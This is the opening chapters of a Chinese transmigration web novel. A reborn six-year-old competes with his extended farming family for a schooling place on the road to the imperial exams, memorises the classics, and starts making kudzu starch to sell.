《全族供我科举路,我赠族犬诰命身》 第1章 开蒙名额 烈日烘烤着大地,空气中散发着浓郁的稻香气。 方子期瘦弱的身躯佝在田地间,不停地拾起遗落的稻穗。 这个天,别说是干活了,就算是在外面站一会儿,都得汗流浃背。 更别说方子期这刚到六岁的稚童了。 这天杀的古代。 六岁小孩就得出来干活。 一想到穿越到这个世界已经六年了,方子期就一阵郁闷。 六年间,他尝试着呼唤了六万次系统,都无疾而终。 很显然,穿越大军规模太庞大,统子哥不够用了。 想到自己的前世,好歹也是正儿八经的华五高校博士生,好不容易熬到了博士快毕业,却没成想熬夜写论文猝死了! 然后就来到了这里。 这里是大梁朝。 纵观上下五千年,方子期也没想出这究竟是哪个朝代。 “子期!” “你要是累了,就赶紧回家去吧!” “你自小身子骨就不好……” 方仲礼走上前,看着自己的宝贝儿子,眼里一阵心疼。 这毕竟是他唯一的儿子。 生了四个女儿,好不容易盼来的宝贝独苗。 可不敢让他吃苦了。 “呦!” “到底是宝贝疙瘩,这才出来多久,就舍不得了!” 远处,传来一道赵氏的轻嘲声。 赵氏是方子期的大伯母。 因为还未分家的缘故,所以一家人都住在一起。 方子期的爷爷方守义、奶奶柳氏。 他们生育了三子二女。 大儿子方伯山,是个应试考了十多年的老童生,现如今还在读书,就指着他光耀门楣呢! 二儿子就是方子期的父亲方仲礼,妻子苏氏,在家务农,农闲就出去打短工。 三儿子方叔信,妻子王氏,也在家务农。 按照农家的规矩,六岁孩子也得出来帮忙了。 田地间,方子期的四个姐姐都在帮忙割稻。 “大嫂!” “你不是不知道子期身子骨素来不好。” “虽到了六岁,但是看着也就四五岁的样子。” “这些年家里什么光景你不是不知道。” “省吃俭用的银子可都供了大哥考科举了。” 苏氏见大房的挤兑自己儿子,当即就忍不住了。 其实方家家境还真不差。 祖上也曾风光过,到了方子期爷爷这一辈,也有二十多亩田地,正常来说吃饱肚子是够用了。 但是要供方伯山这个老童生年年参加科举,那可就拮据得很了。 “二弟妹!你这话可就说得不对了!” “我家伯山辛辛苦苦去考试,那是为自己考的吗?还不是想着为咱们方家光耀门楣!” “回头要是成了秀才公,家里还能免徭役免赋税!” 大伯母赵氏当即不乐意了,当即在那里叫的欢。 苏氏心中一阵无语。 下扬十几次的老童生了,什么时候中秀才? “大伯母!大伯啥时候能中秀才啊!还要十几年吗?” 方子期突然扣着手指头在那里一脸无辜道。 这话旁人不能说,但是方子期这个孩子说的话,那就没啥问题了。 童言无忌嘛。 大伯母赵氏的脸瞬间拉了下来。 “哼!” “一家子眼皮子浅的!” 赵氏咬着牙,走远了。 “苏氏。” “你带孩子回家做饭去吧。” “日头紧,别将娃儿晒坏了。” 爷爷方守义走了过来,看了一眼方子期,这娃儿确实小了些。 紧跟着。 方子期就跟着苏氏回家了。 中午吃饭的时候。 看着野菜就杂面糊糊,方子期就没啥胃口。 就这,其实已经算是方家的好餐了。 也就是农忙的时候,才会吃得这么稠,平日里连这口杂面糊糊都吃不上。 晚间的晚饭比中午的还差…… 刚吃过晚饭。 爷爷方守义就将一大家子召集起来。 “眼看着稻子都收了。” “回头卖一卖,应该还能凑点钱再供个孩子开蒙。” “你们怎么想的?” 方守义吧唧吧唧抽着老旱烟,目光在周边扫了扫。 顿时。 几房心思都跟着活络起来了。 在这个万般皆下品惟有读书高的年代,读书显然是最高尚的。 若是在科举中再得个功名,那可就真的光宗耀祖了! 当然了,科举之路本就是千军万马过独木桥,考取功名概率太小,像他的大伯方仲山,从六岁开蒙,现如今都已经快四十岁了,还是个童生…… “爹!” “大房中大哥和文轩都去读书了。” “再怎么轮,也该轮到我们三房了。” “我觉得我家绍永还挺机灵的,肯定是个读书的好苗子,这一次就让绍永去开蒙吧!” “回头读几年书,说不定也能像他大伯一样,考个童生呢!” 三婶王氏在一旁频频点头,满脸讨好的笑容。 大房中,除了方仲山仍旧在学堂读书外,他的儿子方文轩在几年前也被送去学堂了。 而二房和三房到现在也没孩子能去开蒙,这总说不过去。 三房有三个孩子,方绍永是老二,还有个妹妹和姐姐。 “呵!” “真当考功名这么简单呢!” “三弟妹!你可别想当然了!” “爹!” “之前您不是说过,算命先生说我们大房要出个文曲星吗?” “我看我家文舟打小就聪明!” “肯定要应了那算命先生的预言!” “爹!” “还是让我家文舟去吧!” “更何况他爹是咱们家唯一有童生功名的,都说这龙生龙凤生凤,将来文舟好歹兜底也能考个童生啊!” 大伯母赵氏当即就在那里叽里呱啦开了。 大房已经出了两个读书的了,但是仍旧不满足,还想着将自己的小儿子也给安排进学堂开蒙。 方子期此刻静静地在那里聆听着。 还别说。 这一大家子议起事来还真挺有意思的。 表面上看着都和谐得很,其实背地里个个都在打着如意算盘。 方子期瞥了一眼自家的娘亲苏氏,此刻也一副蓄势待发的样子。 但是苏氏还没开口,就被他老爹方仲礼给抢先了。 “爹,娘。” “子期这孩子身子弱,也不像是个在田地里刨食的。” “不如送他去开蒙读几年书?” “等认了字,回头也能去镇子上跑跑腿当个账房先生什么的。” 方仲礼开始表明自己的态度。 “子期太小了。” “去学堂能学几个字?” “可别花那冤枉钱了。” 奶奶柳氏当即皱眉道。 “我看文舟那孩子确实不错,打小机灵,跟他爹像。” “要不然还是让大房去?” 奶奶柳氏继续道。 显然。 这偏心偏到姥姥家了。 第2章 狗窝求学 今晚所谓的商议明面上也就是走个过扬。 爷爷方守义和奶奶柳氏一个唱红脸,一个唱白脸,但是话里话外的,都想让大房的方文舟去。 只是这样一来,大房就有三个读书人了。 二房和三房反倒是一个没有。 理上说不过去。 要知道现在可还没分家。 大房这么多读书人,那就表明二房和三房是要供养着大房的。 眼看着为了争取这个开蒙的资格,三房已有势同水火之势。 老爷子方守义见再闹腾就要分家了,连忙扼制了势头。 “别吵了。” “这样吧。” “就先让文舟去学堂读一年。” “毕竟文舟年纪要大一些,学得东西也能多一些。” “若是学得不好,回头再送子期或者绍永去。” 老爷子方守义一锤定音。 二房和三房当然各有意见,但是老爷子方守义的态度就很坚决。 这扬议事最终以不欢而散而告终。 至于大伯母赵氏,此刻自然是美滋滋的。 自己的男人在读书,自己的两个儿子也都送去读书了。 这一家子要出三个文曲星了! 方子期跟着自己爹娘回了房间。 他们住在西边的屋子,总共两间房,四个姐姐住一间房,方子期跟着父母住一间房。 房子是青瓦房,在柳溪村已经算是很不错的了。 房间虽然少了点,好在屋子够大,倒也够用。 刚回屋,苏氏就跟着埋怨了。 “这爹娘真是不公平!” “大房都送了两个去学堂了,还让文舟去开蒙?” “怎么?” “大房是他儿子,二房三房就是捡来的?” “他爹。” “继续这样下去,照我看,还不如分家算了。” “这些年为了供大哥进学考试,咱们家都过成什么样了?” “现在好不容易腾出一个开蒙的名额,又是大房的。” “哪有这么欺负人的?” 苏氏咬着银牙,脸色很不好看。 “哎……” 方仲礼重重地叹了口气。 “爹娘偏心大哥也不是一天两天了。” “若非如此。” “当年我是能进学堂的。” “夫子都说,我有天赋。” “就是苦了子期了。” “反正农忙也快要过去了。” “回头我带子期去学堂就是了。” 方仲礼道。 “爹。” “咱家有钱送我去学堂?” 方子期显得有些意外。 因为没分家,所以财政大权都在爷爷奶奶那。 他娘连个几文钱体己钱都要偷藏的。 而去学堂进修,一年少说也是要一两银子的。 “放心。” “我有办法。” 方仲礼挑了挑眉道。 几天后。 柳溪村,族学。 方子期和方仲礼此刻都待在学堂隔壁的狗窝内。 说是狗窝,其实就是个闲置的屋子,暂时用来放狗了。 正面是一条大黄狗,叫阿黄。 “爹。” “这就是你说的,带我来学堂?” 方子期无奈扶额,这也不是真进学堂啊! “咋了?” “这不是学堂?” “放心。” “隔一间屋子也能听得到。” “还省了束脩!” 说话间,方仲礼拿出一张草纸来,密密麻麻地开始记录着些什么。 求学之路,倒是艰辛得很。 方子期抱着既来之则安之的心态,默默倾听着屋内夫子的教导声。 “人之初…性本善……” 也就是三字经的那些内容。 来来回回的,也就那几十句,轮番着说。 方子期听个两遍,基本上也就会背了。 “怎么不听了?” “可是听不懂?” 方仲礼此刻放下手中快要薅秃了的笔,看向自家宝贝儿子。 “不是。” “我已经会背了,还听什么。” 方子期耸耸肩,一脸淡然道。 “什么?” “你会背了?” “不可能!绝对不可能!” “我之前也不曾教过你三字经的内容。” “你怎么可能听几遍就会了?” “你小子,小小年纪不学好,也开始学着撒谎了?” 方仲礼当即摆出严父的姿态,一副要训斥方子期的样子。 “人之初……” 方子期懒得解释,直接将三字经上的内容背了一遍。 方仲礼仔细听着,居然一字不差! 方仲礼眼珠子瞪大,满眼震惊! “子期!你居然这般聪慧?” “吾道不孤!” “吾儿竟有秀才之资!” 方仲礼一脸激动。 自家宝贝儿子优秀,他这个当爹的自然开心。 只是…… 自己没能给儿子提供好的学习环境。 一想到这,方仲礼顿时又是一阵内疚。 眼看着自家老爹那脸色阴晴变幻,方子期大概也能猜到他心里想的是啥,随即挑开话题。 “爹。” “你一直都在这狗窝内学习?” “族里没意见吗?” “毕竟是族学……” 方子期好奇道。 毕竟是没交束脩的。 “夫子人好。” “本就是我方家本家人。” “夫子还时不时地教导于我呢!” “夫子都如此了,族里也不会说什么闲话了!” “反正我们也不曾影响他们正常授课!” 方仲礼说起方夫子,顿时一脸虔诚。 很快就到了下学的时间。 等学生走完,方夫子从里间走了出来。 “仲礼,你的功课我都看了。” “比之前长进许多。” "确实不错!” 方夫子是个瘦削的老人,约莫半百年龄,身穿襦袍,目光锐利似剑,他是柳溪村为数不多的秀才。 “多谢夫子指导!” 方仲礼毕恭毕敬道。 “嗯!” “这孩子是?” 方夫子此刻的目光朝着方子期看过来。 “夫子好。” “我叫方子期,这是我父亲。” 方子期像模像样地行礼打招呼道。 见方子期这老气横秋的样子,再看看方子期这稚嫩瘦削的脸,方夫子一时间有些忍俊不禁。 “夫子莫怪。” “我来学习,这孩子非说要来一起学,索性也就带上了。” 方仲礼连忙告罪道。 “无妨。” “今天刚给那一批娃娃开蒙,子期来得倒正是时候。” “如何?今天我在课堂上教导的三字经,你可学得几句?” 方夫子见方子期那小大人般的姿态,忍不住考较道。 “夫子。” 第3章 科举路 “束脩减半!” “仲礼,你也知道,这是族学,我若是将束脩全免,族里是会说闲话的。” 方夫子此刻也起了爱才之心,当即对着方仲礼叮嘱道。 方仲礼眼前一亮,连忙道谢,然后拉着方子期就归家了。 回家之后。 方仲礼将方子期丢在一边,随即兴致勃勃地冲进自家爹娘所在的正屋。 等方仲礼再回来时,一脸的愤愤不满。 晚间吃饭的时候。 大伯也意外地归家了。 一家人算是吃上了团圆饭。 “爹,娘。” “马上院试就要开始了。” “我想在院试之前去王家拜访一下。” “王家老太君过几天要过寿辰!” “到时候都是学子们同去的!” “据说寿辰中还会有此次院试的考官参加!” “若是能得其指点一二,本次院试可就十拿九稳了!” 大伯方伯山一脸兴奋道。 他所说的王家倒是禾阳县的知名家族,家里面是出了侍郎这等大人物的。 “当真如此?” “那伯山你可得参加!” “去了王家,可要好生恭敬些。” 奶奶柳氏连忙点头道。 爷爷方守义也在一旁点头:“该参加就参加,你可是我们方家的指望。” “额……” “只是参加王家老太君的寿诞……还要花费一两银子买些礼物!” 方伯山再度道。 说起钱,这事就不好办了。 “就去参加个寿诞,要这么多银子?” “确有必要去吗?” 方守义皱了皱眉头。 一两银子,都能买上两石糙米了。 两石糙米,两百多斤,够一大家子吃多久了?一顿饭吃这么多? “爹!” “当然有必要!” “毕竟老太君的寿诞上是有机会见到考官的!” “我以往数次不中,那就是因为没有摸清楚考官的脾气秉性!” 方仲山连忙道。 “也罢。” “那你就去吧。” “孩子他娘。” “回头取一两银子给仲山。” 老爷子方守义的目光在周边扫了扫道。 “吃顿饭就要一两银子……” 奶奶柳氏在一旁嘀咕着。 “爹!” “娘!” “今天我说要送子期去开蒙,方夫子给免了一半束脩,免了一半束脩后,一年也才一两银子!” “怎么送子期去开蒙就没钱,让大哥去参加寿宴吃喝就有钱?” “这又是什么道理?” 方仲礼发飙了。 欺负老实人? 老实人也是会发飙的! 当即眼珠子瞪得通红。 一时间桌子上就跟着热闹起来了。 方子期看着自家老爹,没想到还挺有战斗力的…… 二房这边开火之后。 三房那边自然也不甘示弱。 “爹!娘!” “虽说十根手指有长短。” “但总归都是自家的手指头,这手心手背可都是肉!” “大哥去参加个寿诞就要一两银子!” “这如何说得过去?” “而且大哥每次回家,可都是带不少吃食回来的。” “这些吃食,我可是一次没见过。” “总不能我们二房三房过苦日子,大房一直享受着吧?” 三婶娘王氏当即跟着开火。 这太不公平,算是怎么回事? 这如何能忍? 既不能忍,那自然就是要决战到底的! “三弟妹莫要胡说!” “你大哥带过几次吃食回来?况且那都是他省吃俭用,还去抄书赚来的。” “有本事你也叫三弟去抄书赚钱啊!” 大伯母赵氏开始反击。 一时间。 桌子上更热闹了。 几个孩子吃完了饭,此刻也不闹腾,都在一旁等着看戏。 方子期本来也想加入战扬的,直接被自己的大姐大丫给一把薅走了。 这扬混战逐渐开始升级…… “能过就过!” “不能过就分家过!” 老爷子方守义发火了。 “真的假的?” “真分家?” 方仲礼眼前一亮道。 老爷子方守义说完这话就后悔了。 这家哪里是那么好分的? “老头子!” “瞎说什么呢!” “分什么家!” “咱们都还在呢!就分家?传出去像什么话?万一这些风言风语影响到伯山科举可怎么办?” 奶奶柳氏连忙瞪了一眼自家老头子。 分家怎么分? 真要是分了家,以后还怎么供方伯山继续科举? 靠他们两个老不死的? “我也就是说说罢了。” “怎么都还当真了?” “父母在,不分家!” “不过伯山。” “家里现在条件也不景气。” “你去参加那宴会的事情,暂时就算了吧。” “少吃一顿也没事。” 老爷子方守义见二房三房都是一副虎视眈眈的样子,随即也退让了一步。 否则这个家真要散了。 “好…好吧。” “我听爹的。” 方仲山诺诺道。 当夜。 方子期躺在床上,想着怎么弄个来钱之道。 这没钱干啥啥不行啊。 想开个蒙都费劲吧啦的。 虽说他是华五的理工科博士生。 但有句话怎么说的来着?百无一用是书生? 他脑子里倒是有不少想法,但是要实践起来却也有些难…… 毕竟在这里啥基础都没有。 唯一能熟悉点的。 可能也就是搞蒸馏酒了? 但是这个时代也没个玻璃啥的,这倒是可以用竹子代替…… 但是他一个六岁小孩折腾出这些玩意儿,还能见到明天的太阳吗? 所以眼下的重任还是进学堂,好好学习天天向上…… 就在方子期思索间。 突然传来一阵争吵声。 似乎是大房那边传来的。 方子期一个鲤鱼打挺跳了起来看,准备出门去看热闹。 当他出去的时候,四个姐姐也已经从另一间房出来了。 “小弟!” “好像是大伯和大伯母在吵架。” “你知道是什么事?” 二姐二丫嘀咕道。 方子期四个姐姐都有名字。 大姐叫方蕙兰。 二姐叫方玉芷。 三姐叫方秀蓉。 四姐叫方若兰。 他那老爹到底是偷学过几年的,取名倒还不错。 第4章 妯娌间的争斗 “闹得家宅不宁的!” “赵氏!” “伯山读书已经够辛苦了!” “你还在那里挑事!” 奶奶柳氏走上前,儿子和儿媳吵架,她自然是要站在自己儿子这一边的。 大伯母赵氏还未开口,方伯山就连忙走上前。 “娘。” “没什么事,就是拌了几句嘴。” “爹,娘,你们快回去休息吧。” 方伯山挤出笑容道。 而这个时候,方子期已经来到了孩子群中。 孩子之间嘛,那素来都是有什么说什么的。 “啥?” “大伯找大伯母要一两银子参加寿诞?” “大伯母不给?” “文舟哥!你家真有钱!” 方子期突然扯着嗓子叫了一声。 小孩的声音可不算小。 一时间众人的注意力全都集中过来了。 “一两银子?” “大哥大嫂!” “你们哪来的这么多银钱?” “我们家叔信打短工挣的铜板可都是要上交给娘的。” “就连我们妯娌刺绣挣的钱也都是要上交的!” 三婶王氏当即眼前一亮。 她本来就觉得大房一直藏了不少体己钱,只是之前一直没找到证据。 “你…你不要乱说!” “怎可平白污人清白!” “我正是因为没钱,所以才同你大哥吵闹起来的。” 大伯母赵氏眉眼间显而易见地紧张起来。 双手下意识朝着自己腰间紧了紧。 “大伯母!” “你腰间怎么鼓鼓囊囊的!” “那是什么呀!” 方子期眨眨眼,一脸无辜道。 听到方子期的话,三婶王氏当即一步走上前,直接就对着大伯母赵氏腰间摸索起来。 大伯母赵氏当即怒目而视! “你这个没眼力见的东西!” 大伯母说完,直接转身跑到门外。 一时间众人直接有点懵。 好家伙。 这不就是此地无银三百两吗? 当夜。 大伯母赵氏就直接去了娘家。 然后证据自然没有了。 再回来时。 腰间也没了银子。 “回来了就好!” “不过就是妯娌之间斗个嘴,算得了什么!” 奶奶柳氏随口道。 “娘!我只是感觉三弟妹实在过分了些!这根本就没将我当成是一家人!” “整天疑神疑鬼的,就像是我占了家里面多大的便宜一样!” “如果三弟妹容不下我,我现在就回娘家就是了!” 大伯母赵氏此刻一副黛玉上身的委屈模样。 但是三婶王氏的战斗力不是盖的。 此刻直捣中枢,下午直接去了大伯母赵氏的娘家。 回来的时候。 手上多了二两银子! 一时间,言语间全是冷笑。 甚至扬面都跟着冷了下来。 “这些可都是我从大嫂娘家拿来的!” “我只是去大嫂娘家说了一嘴,他们就乖乖地将钱拿来了,说这钱是昨夜大嫂送去的。” 三婶王氏冷笑一声道。 “到底是怎么回事!” 奶奶柳氏皱着眉头看向大伯母赵氏。 这个眉高眼低的家伙,藏点钱都藏不住。 现在好了,搞得一家子扑棱。 而且。 这个赵氏,在自己眼皮子底下藏了这么多钱!属实不该! 一时间,奶奶柳氏看向赵氏的目光可就没那么友善了。 “娘。” “这…这是…我…我不知道……” 大伯母赵氏本来还想信口胡诌,但是话到了嘴边就开始心虚了。 “我…我……” 大伯母赵氏的脸色青一阵白一阵,想要反驳却又找不到借口。 这些银钱可都是她一口一口省下来的。 毕竟方家给方伯山读书的钱属实不少,每个月扣留下来一些,也就积少成多了。 “行了!” “这银钱!” “就上交吧!” “一个个的,见到银钱眼珠子都红了!” “像什么样子!” “一家人就得有一家人的样子!” 奶奶柳氏过来打圆扬。 不过这钱,肯定是要落入她的口袋的。 “娘!” “之前没钱,不送子期去开蒙也就算了。” “但是现在方夫子特地免了子期一半的束脩,现在咱们又有银钱了,不知是不是能送子期去开蒙?” 方仲礼连忙道。 折腾了这么久,也该落点实惠才是。 “这个……” 奶奶柳氏皱着眉头,有些犹豫。 “我家绍永也该开蒙了!” “我家叔信可是一直都在为这个家当老黄牛的!” 三婶王氏也趁机道。 “行了!” “就先送子期去开蒙吧!” “毕竟免了一半束脩。” “先读个一年。” 最后还是老爷子方守义一锤定音。 他虽心有不甘,但是也看出来了。 这一次开蒙的名额给了大房,又从大房搜出了这么多私房钱,不给其他房一点甜头可不行了。 听到老爷子的答复,方仲礼顿时咧嘴笑了,自家儿子能进学了! 他儿子可是有秀才之资的!总算没给耽误了! “大房能读书。” “二房也能读书!” “怎么?” “合该我们三房受欺负?” “读书的一个没有!” “体己钱一文没有!” “熬夜绣手帕赚的几个体己钱还要上交!” “我这日子怎么就这么苦啊!” “方叔信!” “你个没用的东西!” “我嫁给你可算是倒了八辈子霉了!” 呜呜呜…… 三婶王氏的战斗力不容小视,一时间,方家又跟着闹腾起来。 “好了!” “以后除了男人们打短工挣的钱上交,你们挣的那点体己钱,就自己拿着吧!” 老爷子方守义叹了口气。 这一大家子。 可真不好带啊! “爷爷!” “你是说,以后我们这些孩子挣的钱也能自己拿着了?” 方子期抓住了重点。 “你个小娃娃能挣什么钱?” “你想拿,那就拿着吧。” 老爷子方守义笑了笑,没太在意。 方子期暗自一乐,连忙道谢谢爷爷。 就目前这架势,短时间内分家是难了。 但是方子期可不想自己辛辛苦苦弄点钱还要‘上供’。 这和吃大锅饭有啥区别? 实践经验表明,吃大锅饭是要不得的。 必须要搞个人承包制!不然哪来的发展的动力? 第5章 天赋初显 第二天。 方仲礼就带着银子和方子期去了柳溪村的学堂。 给方夫子交上一两银子的束脩后,方仲礼成功入学了。 因为方子期刚入学,所以被分到了乙班。 学堂共有甲乙两个班。 甲班都是即将要下扬考县试的,大多都是十几岁的学生。 而乙班大多都是十岁以下的孩童。 大房的大堂哥方文轩已经十四岁了,现如今就在甲班。 而大房的小堂哥方文舟同方子期一样,都是刚入乙班。 乙班除了柳溪村的学生外,还有外村的孩童前来求学的,总共有十三人。 “子期!” “快!” “来这里!” “坐这里!” 一个长相憨厚的孩童兴奋地朝着他招招手。 这是他的发小赵满仓。 以前都是一起玩泥巴的。 赵满仓家里面是在镇子上开茶馆的,家境还算不错,所以能来进学。 方子期的目光在周边扫了一圈,恰好看到了自己的小堂哥方文舟。 方文舟见方子期在看他,当即露出一排白牙。 大人之间的矛盾,暂时还没有影响到他们这些堂兄弟的关系。 而且毕竟都是孩子,所以更就不会有什么隔夜仇了。 方子期在赵满仓身边刚坐下,方夫子就过来了。 “今天我们再熟悉一遍《三字经》……” “跟着我诵读……” 随即方夫子开始在那里摇头晃脑…… 来来回回就那么几句。 方子期听着都快要打瞌睡了。 好在这样的日子也就持续了一个多月。 夫子就继续教学了《千字文》、《百家姓》和《弟子规》。 也不知是这些内容过于肤浅,还是他的记忆力过于强大。 对于这些内容,方子期听夫子念诵两遍基本上就刻印在脑子里了。 这些东西都熟悉了。 再听下去也就没什么意义了。 倒是他身边的赵满仓,此刻满脑门的官司,堆满肉的脸上愁容不断。 又到了夫子抽查的时候了。 “子期。” “夫子教得太快了。” “《百家姓》上个月才教,就又教《弟子规》了。” “好难背啊!” 赵满仓叹了口气。 他感觉脑门都有些秃了。 “赵满仓!” “站起来!” “父母呼,应勿缓。父母命,行勿懒!” “接着往下背!” 夫子抽到了赵满仓。 赵满仓顿时一阵慌张。 随即开始结结巴巴道:“冬…冬则温…温……” 然后就卡壳了。 “罚站半个时辰!” 夫子一脸严肃道。 随即继续抽查。 “方文舟!” “你继续!” 夫子看向方文舟…… 方文舟的表现确实比赵满仓好一些。 但…也就好一些罢了,往后背了两句再度卡壳。 “方子期!” 夫子的脸色越来越差,随即看向方子期。 方子期恭敬地站起身,随即道:“兄道友,弟道恭。兄弟睦,孝在中。 财物轻,怨何生……” 卡壳是不可能卡壳的。 看到方子期的表现,夫子脸上才逐渐露出和蔼之色。 “你可知其意?” 夫子再度询问道。 “夫子,这几句的意思是兄长要对弟弟友爱,若是兄弟之间能够没有隔阂地去相处,那就是对父母最好的孝顺。若是能够将财物看得清淡一些,兄弟之间又怎么可能会产生怨恨呢?” “这几句的含义其实就是提醒我们要看轻物质上的私利,才能使得家庭和睦!” 方子期娓娓道来。 这些都是书上的注解,相当于再背诵一遍罢了。 论背书,方子期还真没服过谁。 “不错不错!” “确实不错!” 夫子连连点头! “孺子可教也!” “方文舟!” “你当向你弟弟多学学!” 夫子看向方文舟道。 方文舟顿时一副苦瓜脸…… 有一个学霸堂弟是什么感受? 太难了! “顾知远,你起身……” 夫子继续抽查…… 这个顾知远回答起来倒是挺好的,也是整个乙班中之前的‘学霸’。 只是现在隐隐有被方子期超越的趋势了。 晚间下学的时候,夫子特地走了过来。 “子期。” “你留一下。” “我有事同你讲。” 夫子招招手道。 “这是你父亲的课业,我已经给他批正过了,你拿回去给他看看。” “另外。” “你之天赋的确很好。” “现如今《三字经》、《千字文》、《弟子规》这些你也都背诵地滚瓜烂熟。” “若是继续沉沦其中,倒是浪费了你的大好天赋了。” “这里有我手抄的《说文解字》和《声律启蒙》,你且拿回去看看,上面也有我的一些注解。” “闲来无事的时候就多看看。” “若是有不懂的,再来请教于我。” “子期,天赋好只是个开始。” “科举之路,可并非记忆好就能功成名就的!” “不可效仿《伤仲永》也!” 方夫子在一旁教导道。 所谓的《伤仲永》其实就是惋惜仲永这个人。 据说这个仲永是个天才儿童,只是后面因为各种原因而沦为了普通人。 方夫子举此例,也是希望方子期能够秉持本心。 在天赋绝佳的同时还要努力上进。 方子期郑重其事地作了个揖。 “谨遵夫子教诲!” …… 等方子期出学堂时,他爹方仲礼已经在学堂门口等着了。 “爹,你又在狗屋偷学了一下午?” “诺,这是夫子给你批改的课业。” 方子期说话间,将纸张递过去。 “我也是刚来。” “今天怎么出来这么晚?” 方仲礼好奇道。 方子期随即将夫子说的那些话转述了一遍。 “你现在就开始学《说文解字》和《声律启蒙》?” “我儿果然有秀才之资!” “比你爹当年强不少。” “走!” “咱回家!” 方仲礼提起背篓就走。 “爹,这是什么东西?” 方子期突然看见方仲礼这背篓里面放了不少奇怪的东西,如同麻绳般粗长,上面还有一些黄色硬毛。 “这是葛藤!” “弄回去之后,还能做一些葛布,用来做衣裳。” 方仲礼回答道。 “葛藤?” “爹。” “那葛根呢?” “能不能挖一些葛根回来。” “那可是好东西!” 方子期抚摸着下颚的位置,脸上露出思索神色。 葛根能做成葛粉。 第6章 卷王 “二弟!” “子期!” “才回来啊!” “我家文舟最近读书可认真了!” “照这个趋势下去,以后指定比爹强,说不定还能中个秀才呢!” “子期!” “你可得跟你堂哥好好学学!” 大伯母赵氏一脸喜色地走了过来,当即在那里夸赞自己的小儿子。 此刻因为大伯母赵氏的说话声,屋内方文舟的读书声也跟着停了。 此刻的方文舟一脸苦笑。 让堂弟跟我学? 学什么? 学秃头吗? 我这都是被我这妖孽小堂弟给卷起来的啊! 每次夫子夸方子期的时候,都要多看方文舟一眼。 方文舟感到压力山大。 面对大伯母赵氏的炫耀,方子期只是淡淡一笑。 你开心就好。 晚饭仍旧是粗粮糊糊,里面放了一些野菜。 就这吃食,方子期属实没什么胃口。 吃了一些,就回去看书了。 读书破万卷! 惟有读书高! 想要在这古代出人头地,看来也只能继续读书了。 因为《说文解字》和《声律启蒙》上还有不少生僻字,所以方子期让自家老爹读了一遍,自己记住了之后,再去精读。 自家老爹还是很靠谱的。 刚说了葛根的事情,第二天就弄了一大箩筐回来。 刚进门。 就传来奶奶柳氏的抱怨声。 “你这孩子。” “弄这些葛根回来做什么?” “喂牲口都不吃的。” “难吃得很。” “有这精力,还不如出去给大户人家帮工挣点钱。” “现在也过了农忙了。” 柳氏吧嗒着嘴道。 “知道了娘。” 方仲礼懒得多说,直接将一大箩筐的葛根弄回家。 自家宝贝儿子要,他自然要亲力亲为给弄好。 “二弟!” “娘说得对!” “你要是闲来无事,就同三弟去县城里找个事干干也是好的。” “这一大家子吃喝,总得预备着些。” “光靠田地里那点粮食可怎么够!” “现在你家子期也开蒙了,花钱的地方多着呢!” “这个家总不能光出不进啊!” “可养不得那么多懒汉!” 大伯母赵氏也跟着帮腔道。 她恨不得一大家子都去赚钱去。 挣了银钱,她夫君才好安心读书考科举啊! 说话间,苏氏从西屋走了出来。 “大嫂!” “你这话就不对了。” “什么叫这个家养不得那么多懒汉?” “读书的就我家子期一人吗?” “大房可还有三个读书人呢!” “大嫂既知家中不富裕,怎还偷藏了好几两银子的私房钱?” 苏氏直接揭了大伯母赵氏的老底。 苏氏的秉性就是人不犯我我不犯人。 这赵氏说话属实难听。 有些话方仲礼不好说,她倒是没什么顾虑了。 大伯母赵氏被苏氏呛了一下,顿时气得转身就走。 回到西屋,看着满箩筐的葛根,苏氏也忍不住抱怨起来。 这玩意儿有啥用? “儿子说有用,那就有用!” “你管那么多做什么!” 方仲礼没好气道。 “爹、娘!” “将这葛根洗干净吧!” “然后用刀切碎。” “再用水浸泡好,再用杵捣磨成浆液。” “之后再用纱布将浆液过滤下来,残渣扔掉。” “过滤后的浆液静置一晚上就好了。” 方子期在一旁指手画脚道。 随即还安排自家四个姐姐一起做事。 折腾了大半个晚上,才清理完毕。 第二天,将沉淀好的葛粉取出,放在太阳底下开始晾晒。 过了几天后。 葛粉晒干。 方子期取了两勺葛粉放在碗中,又特地让自家老爹烧了一壶滚烫的开水。 先用一点冷水将葛粉搅拌开,最后滚烫的开水倒入碗中。 顿时碗中的葛粉同开水交融在一起,变成了白色透明状物体。 方子期用勺子取了一些吃了一口,爽口至极。 在这个物资匮乏,每天都吃野菜糊糊的年代,能吃上这么一口爽滑可口的葛粉,实在是太美好了! “爹娘!” “大姐二姐三姐四姐。” “你们也别愣着啊!” “快吃啊!” 方子期催促着惊愣中的众人。 “这葛根浇上开水咋就成这糊糊了……” “白白嫩嫩的,可真好看。” 大丫捧着碗,忍不住尝了一口,顿时眼前一亮。 “好吃!” “真好吃!” “比白面馍馍还好吃!” 大丫忍不住惊叹道。 “大姐给我留一点!” 四丫也就比方子期大一岁,此刻一脸兴奋地就要将冲泡好的葛粉从大丫手中夺取过去。 最后一大家子各自冲泡了一碗葛粉才罢休。 “没想到那没人吃的葛根,还有这等滋味!” 方仲礼忍不住感叹道。 “的确好吃!” “我儿子真厉害!” 苏氏喜笑颜开,作势就要扑上前抱起自己的宝贝儿子。 几个姐姐也不甘示弱,都过来揉捏方子期的脑袋…… 方子期一脸无奈…… 小人无人权啊! “爹!娘!” “之前爷爷说,我们现在赚的钱都可以留给自己了。” “要不然,我们将这葛粉拿出去卖如何?” “一碗葛粉收个两三文钱,这东西既能生津止渴,还能升阳止泻、通经活络,有很好的药用价值。” “而且还能解酒!” “应当还是好卖的!” 方子期建议道。 “这倒是可以。” “我怎么就没想到呢!” “这可比天天刺绣来钱快多了!” “而且这葛根山上到处都是,也没个成本什么的。” “孩子他爹。” “要不然我们明天去试试?” “去镇子上支个摊?” “能赚一点是一点。” “挣点体己钱,也能给孩子们买点肉吃。” 苏氏眼前一亮,当即撺掇着方仲礼。 “这……” “试试倒也无妨。” “反正也不花钱。” 方仲礼点点头道。 他也不是什么迂腐之人。 赚钱的买卖怎么可能不做? “最好再买些白糖。” “若是有喜欢吃甜的,还可以放些白糖进去,价格贵一文钱就好了。” 方子期提醒道。 “是这个道理。” “没想到我儿子非但有秀才之资,还有商祖范蠡之才!” 第7章 甘葛饮被包圆 方子期就跟着爹娘出门了。 “子期,你不去学堂?” 苏氏皱眉道。 “娘,今天休沐。” 方子期解释道。 刚好。 他也想去镇子上看看。 整天待在柳溪村实在是太难受了。 到了镇子上后,方仲礼先去斥巨资买了点白糖回来,随即推着车就直接在路口摆摊。 “方子期?” “呀!” “你怎么在这里!” 哒哒哒! 